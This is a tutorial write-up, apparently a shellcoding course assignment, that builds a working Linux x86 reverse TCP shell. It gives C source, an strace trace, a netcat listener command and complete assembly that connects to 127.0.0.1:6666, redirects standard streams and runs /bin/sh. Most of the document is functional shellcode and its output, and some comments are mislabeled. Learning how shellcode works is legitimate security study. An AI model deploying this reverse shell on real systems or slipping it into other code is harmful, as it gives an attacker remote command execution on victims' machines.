Creating a reverse TCP shell has a lot in common in creating the bind TCP shell. Instead listening on a socket, we connect the socket to the local socket pointing to the address in the variable of “inet_addr”.
Considering we no longer need to listen to a socket, we can remove the function call and add the “connect” function. Basically, the “accept”, “listen” and “bind” functions are not needed for the reverse shell, use the “connect” function instead. Most code can be reused from our first assignment.
First, we create a C file and compile it for further analysis.
Created C code
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
// Defining variables, no need for client anymore seeing the client is setup manually by netcat
int sock;
int port = 6666;
// Defining struct
struct sockaddr_in sockaddr;
// Defining Ethernet TCP socket
// int socket(int domain, int type, int protocol);
sock = socket(AF_INET, SOCK_STREAM, 0);
// Setting variables for struct
sockaddr.sin_family = AF_INET; // 2
sockaddr.sin_port = htons(port); // 6666
sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 127.0.0.1
// Connect socket
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
// Redirect stdin, stdout and stderr
// int dup2(int oldfd, int newfd);
dup2(sock, 0); // AF_INET
dup2(sock, 1); // TCP port 6666
dup2(sock, 2); // INADDR_ANY
// Execute shell
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve("/bin/sh", NULL, NULL);
// Return a value as being expected by main function
return 0;
}
Compile and run file
$ ../compile_c.sh rev_tcp_initial_c
[+] Compiling ...
[+] Done!
Trace file
First, we need to setup a listening port on another terminal window.
$ nc -lvnp 6666
$ Listening on [0.0.0.0] (family 0, port 6666)
Then, run strace on the compiled binary: we see the return message of netcat listening on 6666, indicating the connection was successful.
$ strace ./rev_tcp_initial_c
execve("./rev_tcp_initial_c", ["./rev_tcp_initial_c"], [/* 29 vars */]) = 0
brk(0) = 0x8c2b000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
...<SNIP>...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
brk(0) = 0x9e3e000
...<SNIP>...
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0,
Steps taken
According to the created C code for binding and listening and the traced C binary, the following steps are taken:
– Declaring and defining variables
– Declaring and defining structures
– Creating a socket
– Setting variables for socket
– Connect socket
– Redirect input, output and errors
– Execute shell
– Return exit code for main
Used syscall functions
Breaking down the code in functions used by C for syscalls, the following functions are being used:
– socket 102 → 0x66
– connect 3 → 0x3
– dup2 63 → 0x3f
– execve 11 → 0x0b
This does not include the “accept”, “listen” and “bind” function, seeing they aren’t being used for a reverse shell.
The “connect” function in “/usr/include/linux/net.h” indicates the SYS_CONNECT function is referred as 3.
Creating a socket
The arguments for the socketcall are being displayed in the code above:
– domain –> AF_INET = 2
– type –> SOCK_STREAM = 1
– protocol –> IPPROTO_IP = 0
Call reference
Before creating a socket, several codes exist for calling functions for the socketcall syscall.
#define SYS_SOCKET 1 /* sys_socket(2) */
Domain
From “/usr/include/bits/socket.h”:
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
Type
From “bits/socket_type.h”:
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
Protocol
From “/usr/include/linux/in.h”:
IPPROTO_IP = 0, /* Dummy protocol for TCP */
#define IPPROTO_IP IPPROTO_IP
Assembly instructions
; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)
; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX
Setting variables for socket
Setting the following variables from C code, building the constructor:
sockaddr.sin_family = AF_INET; // 2
sockaddr.sin_port = htons(port); // 6666
sockaddr.sin_addr.s_addr = inet_addr(“127.0.0.1”); // 127.0.0.1
Setting the arguments:
– family –> AF_INET = 2
– port –> Variable port number to connect to
– s_addr –> “127.0.0.1”, connect to the locally listening loopback adapter
Assembly instructions
; Struct sockaddr_in
push 0x0101017f ; "127.0.0.1"
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp
Connect socket
Following code binds the constructor and port:
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
Call reference
From “linux/net.h”:
#define SYS_CONNECT 3 /* sys_connect(2) */
Setting the arguments:
– sockfd –> The created and stored socket as an integer, stored in EDX
– sockaddr *addr –> Pointer to the memory address of the sockaddr structure for arguments, stored in ECX
– addrlen –> The length of the socket
Sockfd
Stored in EDX during defining arguments for socket
*addr
Stored in ECX, address sockaddr pointer for arguments
Addrlen
Length of the sockaddr constructor variable, for indicating the length of the address
From “netinet/in.h”:
#define INET_ADDRSTRLEN 16
#define INET6_ADDRSTRLEN 46
Assembly instructions
mov eax, 102 ; socketcall
mov ebx, 3 ; socketcall type 3 (sys_connect)
; sys_connect arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
Redirect input, output and errors
The following code redirects the STDIN, STDOUT and STDERR via dup2.
// Redirect input, output and errors
// int dup2(int oldfd, int newfd);
dup2(client, 0); // STDIN
dup2(client, 1); // STDOUT
dup2(client, 2); // STDERR
Call reference
From “asm/unistd_32.h”:
#define __NR_dup2 63
Setting the arguments:
STDIN:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDIN
STDOUT:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDOUT
STDERR:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDERR
Assembly instructions
; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall
; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall
; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments
Execute shell
Before executing the shell via execve, the “program” or “script” needs to be pushed on the stack and referred correctly as a pointer.
The following code calls execve to execute a shell “/bin/sh”
// Execute shell
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve(“/bin/sh”, NULL, NULL);
Call reference
From “asm/unistd_32.h”:
#define __NR_execve 11
Setting the arguments:
– *filename –> Executable or script, in this case it’s “/bin/sh”
– *argv[] –> Argument array to pass to the program, no arguments in this case
– *envp[] –> Array of strings to passed as environment of the new program, no env in this case
Generating the string
For passing the “program/script” to execve, it needs to be converted to hex and pushed on the stack. For this, I’ve modified the original convert script for generating ASM instructions pushing characters on the stack:
The string needs to have an offset of 4 bytes each, or else the stack would have a wrong offset. Seeing “/bin/sh” is only 7 bytes and the number of slashes doesn’t affect functionality, “/bin//sh” is 8 bytes and correctly sized for putting on the stack in steps of 4 bytes.
$ python string_to_hex.py '/bin//sh'
String length : 8
Converted [{opcode} {0x hex} ; {reversed string}] format
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
Assembly instructions
mov eax, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL
int 0x80 ; Do some magic
Entire ASM file
; Name: Shell reverse TCP
; Filename: rev_tcp_initial.asm
; Author: hodorsec
global _start
section .text
_start:
; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)
; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX
; Setting variables for socket
; Struct sockaddr_in
; sockaddr.sin_family = AF_INET; // Address family TCP
; sockaddr.sin_port = htons(port); // Port number as declared by 'port'
; sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
push 0x0101017f ; "127.0.0.1"
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp
; Connect socket
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
mov eax, 102 ; socketcall
mov ebx, 3 ; socketcall type 3 (sys_connect)
; sys_connect arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
; Redirect input, output and errors
; Redirect input, output and errors
; int dup2(int oldfd, int newfd);
; dup2(client, 0); // STDIN
; dup2(client, 1); // STDOUT
; dup2(client, 2); // STDERR
; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall
; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall
; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments
; Execute shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
mov eax, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL
int 0x80 ; Do some magic